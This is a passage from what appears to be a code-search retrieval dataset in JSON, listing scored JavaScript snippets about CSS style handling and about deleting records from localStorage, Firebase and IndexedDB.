"c8c67a8dc2d2954f769e157cd97ee76b", "score": "0.52088237", "text": "get defaultStyle() {\n return this.m_defaultStyle;\n }", "title": "" }, { "docid": "0b84c3694e8ccae87df7f82f281e16ae", "score": "0.5196709", "text": "registerStyleAttr(value) {\n this._initialStyleValues = parse(value);\n this._hasInitialValues = true;\n }", "title": "" }, { "docid": "3aecde9efac07498c691c4c8df1a863b", "score": "0.517853", "text": "function getCalendarStyles() {\r\n\tvar result = \"\";\r\n\tvar p = \"\";\r\n\tif (this != null && typeof(this.cssPrefix) != \"undefined\" && this.cssPrefix != null && this.cssPrefix != \"\") { p = this.cssPrefix; }\r\n\tresult += \"<STYLE>\\n\";\r\n\tresult += \".\" + p + \"cpYearNavigation,.\" + p + \"cpMonthNavigation { background-color:#C0C0C0; text-align:center; vertical-align:center; text-decoration:none; color:#000000; font-weight:bold; }\\n\";\r\n\tresult += \".\" + p + \"cpDayColumnHeader, .\" + p + \"cpYearNavigation,.\" + p + \"cpMonthNavigation,.\" + p + \"cpCurrentMonthDate,.\" + p + \"cpCurrentMonthDateDisabled,.\" + p + \"cpOtherMonthDate,.\" + p + \"cpOtherMonthDateDisabled,.\" + p + \"cpCurrentDate,.\" + p + \"cpCurrentDateDisabled,.\" + p + \"cpTodayText,.\" + p + \"cpTodayTextDisabled,.\" + p + \"cpText { font-family:arial; font-size:8pt; }\\n\";\r\n\tresult += \"TD.\" + p + \"cpDayColumnHeader { text-align:right; border:solid thin #C0C0C0;border-width:0px 0px 1px 0px; }\\n\";\r\n\tresult += \".\" + p + \"cpCurrentMonthDate, .\" + p + \"cpOtherMonthDate, .\" + p + \"cpCurrentDate { text-align:right; text-decoration:none; }\\n\";\r\n\tresult += \".\" + p + \"cpCurrentMonthDateDisabled, .\" + p + \"cpOtherMonthDateDisabled, .\" + p + \"cpCurrentDateDisabled { color:#D0D0D0; text-align:right; text-decoration:line-through; }\\n\";\r\n\tresult += \".\" + p + \"cpCurrentMonthDate, .cpCurrentDate { color:#000000; }\\n\";\r\n\tresult += \".\" + p + \"cpOtherMonthDate { color:#808080; }\\n\";\r\n\tresult += \"TD.\" + p + \"cpCurrentDate { color:white; background-color: #C0C0C0; border-width:1px; border:solid thin #800000; }\\n\";\r\n\tresult += \"TD.\" + p + \"cpCurrentDateDisabled { border-width:1px; border:solid thin #FFAAAA; }\\n\";\r\n\tresult += \"TD.\" + p + \"cpTodayText, TD.\" + p + \"cpTodayTextDisabled { border:solid thin #C0C0C0; border-width:1px 0px 0px 0px;}\\n\";\r\n\tresult += \"A.\" + p + \"cpTodayText, SPAN.\" + p + \"cpTodayTextDisabled { height:20px; }\\n\";\r\n\tresult += \"A.\" + p + \"cpTodayText { color:black; }\\n\";\r\n\tresult += \".\" + p + \"cpTodayTextDisabled { color:#D0D0D0; }\\n\";\r\n\tresult += \".\" + p + \"cpBorder { border:solid thin #808080; }\\n\";\r\n\tresult += \"</STYLE>\\n\";\r\n\treturn result;\r\n}", "title": "" }, { "docid": "746c548bae45a5b98ee8ebcc4fc1b623", "score": "0.5178489", "text": "static get styles() {\n return _mgt_spinner_css__WEBPACK_IMPORTED_MODULE_2__[\"styles\"];\n }", "title": "" }, { "docid": "62f9f070dbedc19b1b3cb12ac14ef805", "score": "0.5173521", "text": "static getDefault(key) {\n return DEFAULT_STYLES[key];\n }", "title": "" }, { "docid": "830e8568f2fc298917832ef7c3d9c92d", "score": "0.5171876", "text": "function getStyles(elem) {\n\t\treturn window.getComputedStyle(elem, null);\n\t}", "title": "" }, { "docid": "80b6c516a34005e8d39dcb2970a114f4", "score": "0.5169175", "text": "function css(strings, ...values) {\n const {\n styles,\n behaviors\n } = collectStyles(strings, values);\n const elementStyles = ElementStyles.create(styles);\n\n if (behaviors.length) {\n elementStyles.withBehaviors(...behaviors);\n }\n\n return elementStyles;\n}", "title": "" }, { "docid": "d2ac1ab5c71377fd69aaecfa009de99e", "score": "0.51665246", "text": "function GetStyleElementText(arrayPrefs, hl, source) {\n // build textcontent of styleElement\n\n // bgcolor is always stored in #XXYYZZ form (easier for colour picker). convert to rgba format\n var colorbg = colorbgShadow = null;\n\n if (hl.colourbg != null) {\n r = Number(\"0x\" + hl.colourbg.substr(1, 2));\n g = Number(\"0x\" + hl.colourbg.substr(3, 2));\n b = Number(\"0x\" + hl.colourbg.substr(5, 2));\n a = 0.7;\n\n colorbg = \"rgba(\" + r + \",\" + g + \",\" + b + \",\" + a + \")\";\n if (arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE] == HIGHLIGHTSTYLE_TILE)\n r = g = b = 0; // black, for later\n\n colorbgShadow = \"rgba(\" + r + \",\" + g + \",\" + b + \",\" + (a * arrayPrefs[(arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE] == HIGHLIGHTSTYLE_SMEAR ?\n PREFERENCE_HIGHLIGHTSTYLE_SMEAR_ALPHA_SHADOW : PREFERENCE_HIGHLIGHTSTYLE_TILE_ALPHA_SHADOW)]) + \")\";\n } // end if\n\n // build css rule for each class, and append to main single rule\n var textContent =\n (\"display: inline!important;\") + (\"font-family:inherit!important; font-style:inherit!important; font-variant:inherit!important; font-weight:inherit!important; \") +\n (\"border-color: transparent !important; \") +\n ((hl.transparentbg != true && hl.colourfg != null) ? (\"color: \" + hl.colourfg + \"!important; \") : \"\") +\n ((hl.transparentbg != true && colorbg != null) ? \"background-color: \" + colorbg + \"!important; \" : \"\") +\n (hl.upperCase == true ? \"text-transform: uppercase!important; \" : \"\") +\n\t\t((hl.underline == true || hl.linethrough == true) ? \n\t\t\t(\"text-decoration: \" + (hl.underline == true ? \"underline\" : \"line-through\") + \"!important; \") : \"\") +\n\t\t(hl.bold == true ? \"font-weight: bold!important; \" : \"\") +\n\t\t(hl.italic == true ? \"font-style: italic!important; \" : \"\");\n\n if (source == \"page\"){\n textContent += (hl.fontSize != null ? (\"font-size: \" + hl.fontSize + \"!important; \") : \"\") +\n (\"-webkit-transition-property: color, background-color, -webkit-box-shadow; \") + // change highlight colour (not flash)\n (\"-webkit-transition-duration: 0.5s, 0.5s, 0.5s; \") +\n (\"-webkit-transition-timing-function: linear, linear, linear; \");\n }\n\n if (arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE] == HIGHLIGHTSTYLE_SMEAR) {\n if (source == \"page\")\n textContent += \"padding: \" + arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE_SMEAR_PADDING] + \"!important; \";\n\n textContent += \"border-radius: \" + arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE_SMEAR_BORDER_RADIUS] + \"!important; \";\n \n\t\tif (source != \"popup\" && hl.transparentbg != true)\n\t\t\ttextContent += (colorbgShadow != null ? \"-webkit-box-shadow: \" + colorbgShadow + \" \" + arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE_SMEAR_BOX_SHADOW] + \"!important; \" : \"\");\n } else if (arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE] == HIGHLIGHTSTYLE_TILE) {\n if (source == \"page\")\n textContent += \"padding: \" + arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE_TILE_PADDING] + \"!important; \";\n\n\t\tif (source != \"popup\" && hl.transparentbg != true)\n\t\t\ttextContent += (colorbgShadow != null ? \"-webkit-box-shadow: \" + colorbgShadow + \" \" + arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE_TILE_BOX_SHADOW] + \"!important; \" : \"\");\n\t\t\t\n textContent += \"border-radius: \" + arrayPrefs[PREFERENCE_HIGHLIGHTSTYLE_TILE_BORDER_RADIUS] + \"!important; \";\n }\n\n return textContent;\n}", "title": "" }, { "docid": "36d6b565d631406616dfbc4eee1bac34", "score": "0.5163324", "text": "ensureNoStringStyle() {\n if (isString(this.style)) {\n this.styleString = this.style; // Keep in a temp value\n delete this.style;\n }\n }", "title": "" }, { "docid": "3cbb5fa328d97953c5baa59e027e69c3", "score": "0.51608324", "text": "function stylingInit() {\n var lView = getLView();\n var index = getSelectedIndex();\n var tNode = getTNode(index, lView);\n updateLastDirectiveIndex(tNode, getActiveDirectiveStylingIndex());\n}", "title": "" }, { "docid": "ec697b285944c9cf89e0f44dffcd4600", "score": "0.5159031", "text": "function style(value) { return new HtmlAttr(\"style\", [], value); }", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "85a2aeb6f4e3ad296ba64483d1f5d2c5", "score": "0.51552194", "text": "function getStyles( elem ) {\n\treturn window.getComputedStyle( elem, null );\n}", "title": "" }, { "docid": "18d2eccfd832df8f9fdc102fee24fb34", "score": "0.5154265", "text": "function flattenStyleValues(style) {\n return Object.keys(style).reduce((newStyle, key) => {\n let val = style[key];\n if (Array.isArray(val)) {\n if (ExecutionEnvironment.canUseDOM) {\n // For the **browser**, when faced with multiple values, we just take\n // the **last** one, which is the original passed in value before\n // prefixing. This _should_ work, because `inline-style-prefixer`\n // we're just passing through what would happen without ISP.\n\n val = val[val.length - 1].toString();\n } else {\n // For the **server**, we just concatenate things together and convert\n // the style object values into a hacked-up string of like `display:\n // \"-webkit-flex;display:flex\"` that will SSR render correctly to like\n // `\"display:-webkit-flex;display:flex\"` but would otherwise be\n // totally invalid values.\n\n // We convert keys to dash-case only for the serialize values and\n // leave the real key camel-cased so it's as expected to React and\n // other parts of the processing chain.\n val = val.join(`;${camelCaseToDashCase(key)}:`);\n }\n }\n\n newStyle[key] = val;\n return newStyle;\n }, {});\n}", "title": "" }, { "docid": "427c29423f50db48f9a50bc4ea0675ab", "score": "0.5139505", "text": "getTabletStyleTemplate(data=undefined){\n let arr = [];\n if(data){\n arr = data;\n }else{\n arr[0] = this.nodeStyle.top;\n arr[1] = this.nodeStyle.left;\n arr[2] = this.nodeStyle.backgroundColor;\n }\n return 'top:' + arr[0] + ';left:' + arr[1] + ';background-color:' + arr[2];\n }", "title": "" }, { "docid": "956b87b7a711359f28fa3854d1625714", "score": "0.51388955", "text": "getStylingList() {\n\t\treturn [\n\t\t\t{el: '#export_image .vertex_content', properties: ['border-top', 'border-left', 'border-right', 'font-size', 'background']},\n\t\t\t{el: '#export_image .content_header_name', properties: ['height', 'border-bottom']},\n\t\t\t{el: '#export_image .content_header_name .header_name', properties: ['padding', 'margin', 'text-align', 'border-bottom', 'font-weight', 'font-size']},\n\t\t\t{el: '#export_image .vertex_data .property', properties: ['height', 'border-bottom', 'display', 'width', 'line-height']},\n\t\t\t{el: '#export_image .vertex_data .property .key', properties: ['width', 'text-align', 'margin-left', 'font-weight', 'font-size', 'white-space', 'overflow', 'text-overflow', 'max-width']},\n\t\t\t{el: '#export_image .vertex_data .property .data', properties: ['font-weight', 'font-size', 'width', 'margin-left', 'margin-right', 'text-align', 'border', 'white-space', 'overflow', 'text-overflow', 'max-width', ]},\n\t\t\t{el: '#export_image .vertex_data .property .has_left_connect', properties: ['margin-left', 'width', 'max-width']},\n\t\t\t{el: '#export_image .vertex_data .property .has_right_connect', properties: ['margin-right',\t'width', 'max-width']},\n\t\t]\n\t}", "title": "" }, { "docid": "75556d23329e24c1a588461a41a51a9e", "score": "0.51344395", "text": "function getStyleDifference(defaultStyle, computedStyle) {\n var diff = new Array();\n\n for (var style in computedStyle) {\n var name = computedStyle[style];\n var computedValue = computedStyle.getPropertyValue(name);\n var defaultValue = defaultStyle.getPropertyValue(name); \n if (computedValue != defaultValue) {\n if (!ignoreProperty(name, computedStyle)) {\n diff.push({ name: name, value: computedValue, inherited: false});\n } \n }\n }\n return diff;\n}", "title": "" }, { "docid": "e68406122316d0a30c9b8fbfa6dd0d50", "score": "0.51324296", "text": "function validStyles(styleAttr){\n\tvar result = '';\n\tvar styleArray = styleAttr.split(';');\n\tangular.forEach(styleArray, function(value){\n\t\tvar v = value.split(':');\n\t\tif(v.length == 2){\n\t\t\tvar key = trim(angular.lowercase(v[0]));\n\t\t\tvalue = trim(angular.lowercase(v[1]));\n\t\t\tif(\n\t\t\t\t(key === 'color' || key === 'background-color') && (\n\t\t\t\t\tvalue.match(/^rgb\\([0-9%,\\. ]*\\)$/i)\n\t\t\t\t\t|| value.match(/^rgba\\([0-9%,\\. ]*\\)$/i)\n\t\t\t\t\t|| value.match(/^hsl\\([0-9%,\\. ]*\\)$/i)\n\t\t\t\t\t|| value.match(/^hsla\\([0-9%,\\. ]*\\)$/i)\n\t\t\t\t\t|| value.match(/^#[0-9a-f]{3,6}$/i)\n\t\t\t\t\t|| value.match(/^[a-z]*$/i)\n\t\t\t\t)\n\t\t\t||\n\t\t\t\tkey === 'text-align' && (\n\t\t\t\t\tvalue === 'left'\n\t\t\t\t\t|| value === 'right'\n\t\t\t\t\t|| value === 'center'\n\t\t\t\t\t|| value === 'justify'\n\t\t\t\t)\n\t\t\t||\n key === 'text-decoration' && (\n value === 'underline'\n || value === 'line-through'\n )\n || key === 'font-weight' && (\n value === 'bold'\n )\n ||\n\t\t\t\tkey === 'float' && (\n\t\t\t\t\tvalue === 'left'\n\t\t\t\t\t|| value === 'right'\n\t\t\t\t\t|| value === 'none'\n\t\t\t\t)\n\t\t\t||\n\t\t\t\t(key === 'width' || key === 'height') && (\n\t\t\t\t\tvalue.match(/[0-9\\.]*(px|em|rem|%)/)\n\t\t\t\t)\n\t\t\t|| // Reference #520\n\t\t\t\t(key === 'direction' && value.match(/^ltr|rtl|initial|inherit$/))\n\t\t\t) result += key + ': ' + value + ';';\n\t\t}\n\t});\n\treturn result;\n}", "title": "" }, { "docid": "4a7d96280beb4283ca539c4e0a2356e5", "score": "0.51323843", "text": "ensureNoStringStyle() {\n if (isString(this.style)) {\n this.styleString = this.style; // Keep in a temp value\n delete this.style;\n }\n }", "title": "" }, { "docid": "667c1ac42863377317af9bc9c7e6bcc7", "score": "0.51316893", "text": "get cssString() {\n\t\treturn getCSS(this);\n\t}", "title": "" }, { "docid": "e9af81a06069128580157e6f07e337d4", "score": "0.5126588", "text": "function collectHashedStyles(container, styles, hasNestedStyles) {\n\t var instances = [];\n\t var currentHash = 0;\n\t function stylize(container, styles, selector) {\n\t var _a = parseUserStyles(styles, hasNestedStyles), properties = _a.properties, nestedStyles = _a.nestedStyles;\n\t var styleString = stringifyProperties(properties);\n\t var style = container.add(new Style(styleString));\n\t currentHash = hash(styleString, currentHash);\n\t instances.push([selector, style]);\n\t for (var _i = 0; _i < nestedStyles.length; _i++) {\n\t var _b = nestedStyles[_i], name_1 = _b[0], value = _b[1];\n\t currentHash = hash(name_1, currentHash);\n\t if (isAtRule(name_1)) {\n\t stylize(container.add(new Rule(name_1)), value, selector);\n\t }\n\t else {\n\t stylize(container, value, hasNestedStyles ? interpolate(name_1, selector) : name_1);\n\t }\n\t }\n\t }\n\t stylize(container, styles, '&');\n\t return { currentHash: currentHash, instances: instances };\n\t}", "title": "" }, { "docid": "39f71ebd4d9b2b9e3b099469a96f2531", "score": "0.5124325", "text": "function _resolveStyles(props, theme, tokens) {\r\n var allStyles = [];\r\n for (var _i = 3; _i < arguments.length; _i++) {\r\n allStyles[_i - 3] = arguments[_i];\r\n }\r\n return styling_1.concatStyleSets.apply(void 0, allStyles.map(function (styles) {\r\n return typeof styles === 'function' ? styles(props, theme, tokens) : styles;\r\n }));\r\n }", "title": "" }, { "docid": "ca46ffdc0c638718b7c3b37b4a81a7e2", "score": "0.5123905", "text": "getCssStyleElement() {\n\t\treturn new Promise(async (resolve, reject) => {\n\t\t\tvar cssTextReady = `${Static.componentName}-css-text-ready`;\n\n\t\t\tdocument.addEventListener(cssTextReady, () => {\n\t\t\t\tvar styleElement = document.createElement('style');\n\t\t\t\tstyleElement.innerHTML = Static.cssText;\n\t\t\t\tresolve(styleElement);\n\t\t\t});\n\t\t\t\n\t\t\tif (this.instance == 1) {\n\t\t\t\tvar response = await fetch(Static.cssURL, {cache: \"no-cache\", referrerPolicy: 'no-referrer'});\n\t\t\t\tif (response.status != 200 && response.status != 304) {\n\t\t\t\t\treject(new Error(`Request for ${Static.cssURL} returned with ${response.status}`));\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tStatic.cssText = await response.text();\n\t\t\t\tdocument.dispatchEvent(new Event(cssTextReady));\n\t\t\t}\n\t\t\telse if (Static.cssText != null) {\n\t\t\t\tdocument.dispatchEvent(new Event(cssTextReady));\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "57e319793537f267aeecc7d8954df15c", "score": "0.51191056", "text": "get styleElements() {\n\t\treturn vestitools_style.styleElements;\n\t\t}", "title": "" } ]
7fa616cc8b70ba330c90932550968bda
Below function is used to delete document from local storage by document key.
[ { "docid": "35768d2fa13a5a3ba15cfad5eaf97e5e", "score": "0.73920405", "text": "function removeLocalStorageDataByKey(e) {\r\n\r\n localStorage.removeItem(documentKey);\r\n documentKey = null;\r\n}", "title": "" } ]
[ { "docid": "58cecf5ff03b118e3472bd03bc10fbb1", "score": "0.7702191", "text": "function removeDocument(key) {\n console.log(\"the key is \"+key);\n store.remove(key);\n listDocuments();\n}", "title": "" }, { "docid": "2216f4e11fd76327df09ad27cf993a6d", "score": "0.7122293", "text": "function docDelete (key) {\n\treturn new Promise((resolve,reject) => {\n\t\tcouchbaseDb.getDb();\n\t\tdb.remove(key, (error, result) => {\n\t\t\tif (error) {\n\t\t\t\treject(error);\n\t\t\t} else {\n\t\t\t\tresolve(result);\n\t\t\t}\n\t\t});\n\t});\n}", "title": "" }, { "docid": "6d7aca79a5e994e5e51650340706274c", "score": "0.710987", "text": "function deleteFromStorage(key) {\n \n localforage.removeItem(key).then(function() {\n return;\n })\n .catch(function(error) {\n console.error(error);\n });\n\n}", "title": "" }, { "docid": "3d000c83bf227a043c90b34377276f8b", "score": "0.6964881", "text": "function deleteItem(key){\n\t\tlocalStorage.removeItem(key);\n\t}", "title": "" }, { "docid": "89320d65724d19fca00ef5c6adc72187", "score": "0.6890409", "text": "deleteEmployee() {\n var userID = this.props.row.key;\n fs.usersCollection\n .doc(userID)\n .delete()\n .catch(err => {\n console.log(err);\n });\n }", "title": "" }, { "docid": "eae224693473ed2264fe4bf9ffbd3e0f", "score": "0.68353903", "text": "function deleteKeyLocalStorage(key) {\n localStorage.removeItem(key);\n}", "title": "" }, { "docid": "6cfc0835a6f6f7e00b063d47b7500b27", "score": "0.67814535", "text": "delete (key) {\n delete this.data[key]\n this.persist()\n }", "title": "" }, { "docid": "de1ca4ba2dbe1ead2c68338fd271f0c3", "score": "0.676387", "text": "delete(key) {\n key = this._sanitizeKey(key);\n \n return new Promise((resolve, reject) => {\n let dbRequest = this._getObjectStore().delete(key);\n dbRequest.onsuccess = resolve;\n dbRequest.onerror = reject;\n });\n }", "title": "" }, { "docid": "7e6b53c980196e25928347b196429d07", "score": "0.66810954", "text": "function delete_li(key){\nfirebase.database().ref(\"DATABASE/\"+ key.id).remove()\nkey.parentNode.remove()\nsweetAlertSuccessMsg(\"Deleted Successfully\")\n}", "title": "" }, { "docid": "99aa029eb559db0bb8298c9d9be34211", "score": "0.6657966", "text": "function rm(key){\n\tlocalStorage.removeItem(key);\n}", "title": "" }, { "docid": "9f80bf73de12bd6c6f907b7bf228f71a", "score": "0.6639742", "text": "async delete(key) {\n if (!key)\n return;\n this.schema.findOne({ key }, async (err, data) => {\n if (err)\n throw err;\n if (data)\n await data.delete();\n });\n this.MongoGoCollection.delete(key);\n }", "title": "" }, { "docid": "bb18389fe31cd99cd75426f4a6effed1", "score": "0.66029036", "text": "function deleteFromStorage(key) {\n chrome.storage.sync.remove(key);\n}", "title": "" }, { "docid": "94c258e81db86cfc7527d4bf2357d8f6", "score": "0.66014004", "text": "delete(key) {\n this._data.delete(this.buildFormattedKey(key));\n }", "title": "" }, { "docid": "918e5c96ccea7d9f001f6771b659d85f", "score": "0.6577699", "text": "function deleteName(key){\n if(localStorage) {\n window.localStorage.removeItem(key);\n }\n}", "title": "" }, { "docid": "99e27902b0b83507decc62f92171ef58", "score": "0.6574334", "text": "delete(key) {\n // YOUR CODE HERE\n }", "title": "" }, { "docid": "307985d6eeecace6a8a760ecb798c248", "score": "0.6549387", "text": "function removeStoredItem(key) {\r\n localStorage.removeItem(key);\r\n}", "title": "" }, { "docid": "75f7cdfa242693e030b3fe0b1f8555ab", "score": "0.6528803", "text": "function removeEduc() {\n var x=document.getElementById('educdocid').value;\n db.collection(\"educations\").doc(`${x}`).delete().then(function() {\n console.log(\"Document successfully deleted!\");\n document.getElementById('number').value=1;\n getEducation();\n }).catch(function(error) {\n console.error(\"Error removing document: \", error);\n });\n}", "title": "" }, { "docid": "d1897c743dfa173191d7633088b66c27", "score": "0.65191114", "text": "function deleteDocument() {\n docRef.delete().then(\n function() {\n console.log(\"Successfully deleted\");\n }\n ).catch(function(err) {\n console.log(\"Error found: \",err);\n });\n}", "title": "" }, { "docid": "72854e6e9cbb5a686cd6c0d0ed3d98a1", "score": "0.6517716", "text": "function deleteReg() {\n let docRef = this.id\n db.collection('mycollection')\n .doc(docRef)\n .delete()\n .then(function () {\n console.log('Document successfully deleted!')\n })\n .catch(function (error) {\n console.error('Error removing document: ', error)\n })\n}", "title": "" }, { "docid": "c18dcbd7807e579c9dff2fcb908e34d7", "score": "0.64987564", "text": "function removeFromLocalStorage(key) {\n storage.remove(key, function(err) {\n if (err) {\n console.error('storage: failed to remove data under ' + key);\n console.error(err);\n }\n });\n}", "title": "" }, { "docid": "aa9fddd3f6f90875268eab4066b46aac", "score": "0.64604175", "text": "function remove(key) {\n return Scheduler.nativeBinding(function(callback){\n if(isChromeApp) {\n chrome.storage.local.remove(key,function(){\n callback(Scheduler.succeed(\"\"))\n })\n } else {\n try {\n window.localStorage.removeItem(key)\n return callback(Scheduler.succeed(key))\n } catch (e) {\n return callback(Scheduler.fail(\"Could not delete given key from local storage!\"))\n }\n }\n })\n }", "title": "" }, { "docid": "830a25ee6b57d95b851576790f5c955a", "score": "0.6439975", "text": "delete(tokenKey) {\n localStorage.removeItem(tokenKey);\n }", "title": "" }, { "docid": "a1c99602ed3f1f283eb10544f652414f", "score": "0.64248914", "text": "delete( key ) {\n return this.ready.then( () => {\n return new Promise( ( resolve, reject ) => {\n const store = this.store( true );\n const request = store.delete( key );\n request.addEventListener( 'success', () => resolve() );\n request.addEventListener( 'error', reject );\n } );\n } );\n }", "title": "" }, { "docid": "d85c7716cff18db7c4e59b0a5ef02de5", "score": "0.6408096", "text": "function deleteBook(bookID){\n firebase.database().ref(\"all\").child(bookID).remove();\n}", "title": "" }, { "docid": "004d9b4d8fd71152bc136f11393116ba", "score": "0.64033616", "text": "function removeExercise(key) {\n firebase.database()\n .ref(\"Patients/\" + patientid + \"/MedicalInfo/Exercises/\")\n .child(key).remove();\n}", "title": "" }, { "docid": "524a6db0b04b4485f8c7699a5065d47c", "score": "0.64007074", "text": "function removeFromStorage(key) {\n localStorage.removeItem(key);\n}", "title": "" }, { "docid": "2131606b14366c8fade0f4aa77f55c36", "score": "0.6381582", "text": "static del(key, customStore = indexDB.defaultGetStore()) {\n return customStore('readwrite', (store) => {\n store.delete(key);\n return indexDB.promisifyRequest(store.transaction);\n });\n}", "title": "" }, { "docid": "165ae3b9050ec82281d4e062ec8e0965", "score": "0.6380057", "text": "remove(key) {\r\n this.storage.removeItem(this.key(key));\r\n }", "title": "" }, { "docid": "7c037a55a423271a3299f3e4c4489e5f", "score": "0.6367354", "text": "delete(){\n const { synchedDb, emitter } = this;\n\n const updateDoc = () => {\n this.doc._deleted = true; // mark to be deleted by pouchdb\n\n // deletions are locally optimistic -- so emit right away\n emitter.emit('delete');\n emitter.emit('localdelete');\n\n log('JsonSyncher:delete', this.doc);\n\n return synchedDb.local.put(this.doc);\n };\n\n // these events indicate that the remote sync was successful\n const postEmit = () => {\n emitter.emit('deleted');\n emitter.emit('localdeleted');\n };\n\n return updateDoc().then(postEmit).then(() => this.doc);\n }", "title": "" }, { "docid": "eb312b0e64055827297f115a220fa3c1", "score": "0.63506186", "text": "del (key) {\n let thisDb = this._getDb();\n\n // Delete the Key on the current environment\n delete thisDb[key];\n }", "title": "" }, { "docid": "596f2a09a2b16bf2f708209cfca53e81", "score": "0.6349865", "text": "remove(keyToRemove) {\n firebase.database().ref(`amountReference/${keyToRemove}`).remove();\n }", "title": "" }, { "docid": "0c72ba9ec4cf25ca7b765142779bbb97", "score": "0.6301331", "text": "async _deleteDocument (id) {\n\t\tawait this.databaseCollection.deleteById(\n\t\t\tid,\n\t\t\tObject.assign({}, { requestId: this.requestId })\n\t\t);\n\t\tthis._removeModelFromCache(id);\t// it's gone now!\n\t\tdelete this.toDeleteIds[id];\t// no longer needs to be deleted!\n\t}", "title": "" }, { "docid": "c56295047417c40599f9021245697123", "score": "0.6286216", "text": "function removeDocument() {\n if (checkLocalStorage()) {\n openElement(\"removeDocument\", \"mySavedFiles2\");\n }\n}", "title": "" }, { "docid": "096d2ade282702b1ba73527d51e410af", "score": "0.6280717", "text": "handleDeleteData(keyName) {\n localStorage.removeItem(keyName);\n }", "title": "" }, { "docid": "5a5f56a97b05570c54e286826c619d14", "score": "0.62692237", "text": "async del (key) {\n if (!this.opened)\n throw new Error(\"still not opened\")\n delete this.store[key]\n }", "title": "" }, { "docid": "60b4cefa70bc597b6ed5930ecc31a533", "score": "0.6263921", "text": "deleteData(e){\n this.db.collection(\"task_item\").doc(e.detail.id).delete()\n .then(() => {\n this.feedbackMessage('Item eliminado de la lista', 'success')\n })\n .catch(() => {\n this.feedbackMessage('Error', 'error')\n })\n }", "title": "" }, { "docid": "c504e7bcfc51c6cfec80c7504d135df1", "score": "0.6256081", "text": "removeItem (key) {\n return window.localStorage.removeItem(key)\n }", "title": "" }, { "docid": "349a151dc37b8bed74853aed4e5b0306", "score": "0.62510836", "text": "remove(key) {\r\n //check if key already exist or not\r\n if (this.has(key)) {\r\n console.info('this key :', key, 'Removed successfully');\r\n return localStorage.removeItem(key)\r\n } else console.log('This key already not Found')\r\n }", "title": "" }, { "docid": "a4f2d3e189fe3a6ca876daa4113f63e7", "score": "0.62450016", "text": "function removeWork() {\n var x=document.getElementById('workdocid').value;\n db.collection(\"works\").doc(`${x}`).delete().then(function() {\n console.log(\"Document successfully deleted!\");\n document.getElementById('number').value=1;\n getWorks();\n }).catch(function(error) {\n console.error(\"Error removing document: \", error);\n });\n}", "title": "" }, { "docid": "0772545997f6ffd573a53ee4b5881de2", "score": "0.6226635", "text": "function GM_deleteValue(aKey) {\n 'use strict';\n localStorage.removeItem(__GM_STORAGE_PREFIX + aKey);\n}", "title": "" }, { "docid": "3b69478b93763ed50902694705ac752d", "score": "0.6225995", "text": "function remove( key ) {\n const objStore = openObjStore('readwrite');\n return reqAsPromise( objStore.delete( key ) );\n }", "title": "" }, { "docid": "961dc65da28d5589577a48a5d8ab972e", "score": "0.6212366", "text": "function removeHobby(x) {\n db.collection(\"hobbies\").doc(x).delete().then(function() {\n console.log(\"Document successfully deleted!\");\n getIndex();\n }).catch(function(error) {\n console.error(\"Error removing document: \", error);\n });\n}", "title": "" }, { "docid": "08dc3b7969a29a94b00f7c86a346a91e", "score": "0.6210943", "text": "function deleteProduct(e){\n var deleteKey = e.parentNode.childNodes[3].innerHTML\n firebase.database().ref('posts').child(deleteKey).remove()\n location.reload();\n // myProducts()\n // console.log(deleteKey)\n}", "title": "" }, { "docid": "0798cf7927abe60f6e7a7c708527666d", "score": "0.62099004", "text": "async delete() {\n\t\tlet obj = await FirebaseObject.deleteByKey(this._ref, this._key);\n\t\tthis._value = null;\n\t\tthis._synced = true;\n\t}", "title": "" }, { "docid": "54c0769ea46873633ecb11f91cd5c4a9", "score": "0.6201629", "text": "static delete_book(isbn)\n {\n //console.log(isbn)\n const delete_book=store.get_book();\n console.log(\"before\",delete_book);\n delete_book.forEach((book,index) => {\n if(book.isbn===isbn){\n // console.log(Book.isbn)\n delete_book.splice(index,1)\n }\n console.log(\"after\",delete_book);\n localStorage.setItem(\"key\",JSON.stringify(delete_book))\n })\n }", "title": "" }, { "docid": "f54310409bd4c2ebbf508dd5d97c4e52", "score": "0.6201345", "text": "_handleDelete() {\n model.delKey();\n }", "title": "" }, { "docid": "15694a2f6b4eb47a250a2915d585cd26", "score": "0.61944824", "text": "function deleteCompany(id){\n db.collection(\"companies\").doc(id).delete().then(function(){\n console.log(\"success in deleting company\");\n }).catch(function(error){\n console.log(\"error deleting company \" + error);\n });\n}", "title": "" }, { "docid": "c78759ab0cf0b200dd2e717e00ae82b0", "score": "0.6193214", "text": "function removeStorage(key) {\n localStorage.removeItem(key);\n return 'Data removed.';\n}", "title": "" }, { "docid": "36d8896f04d22b670984de15c010da4c", "score": "0.6189542", "text": "deleteDocument(id, success, fail) {\n 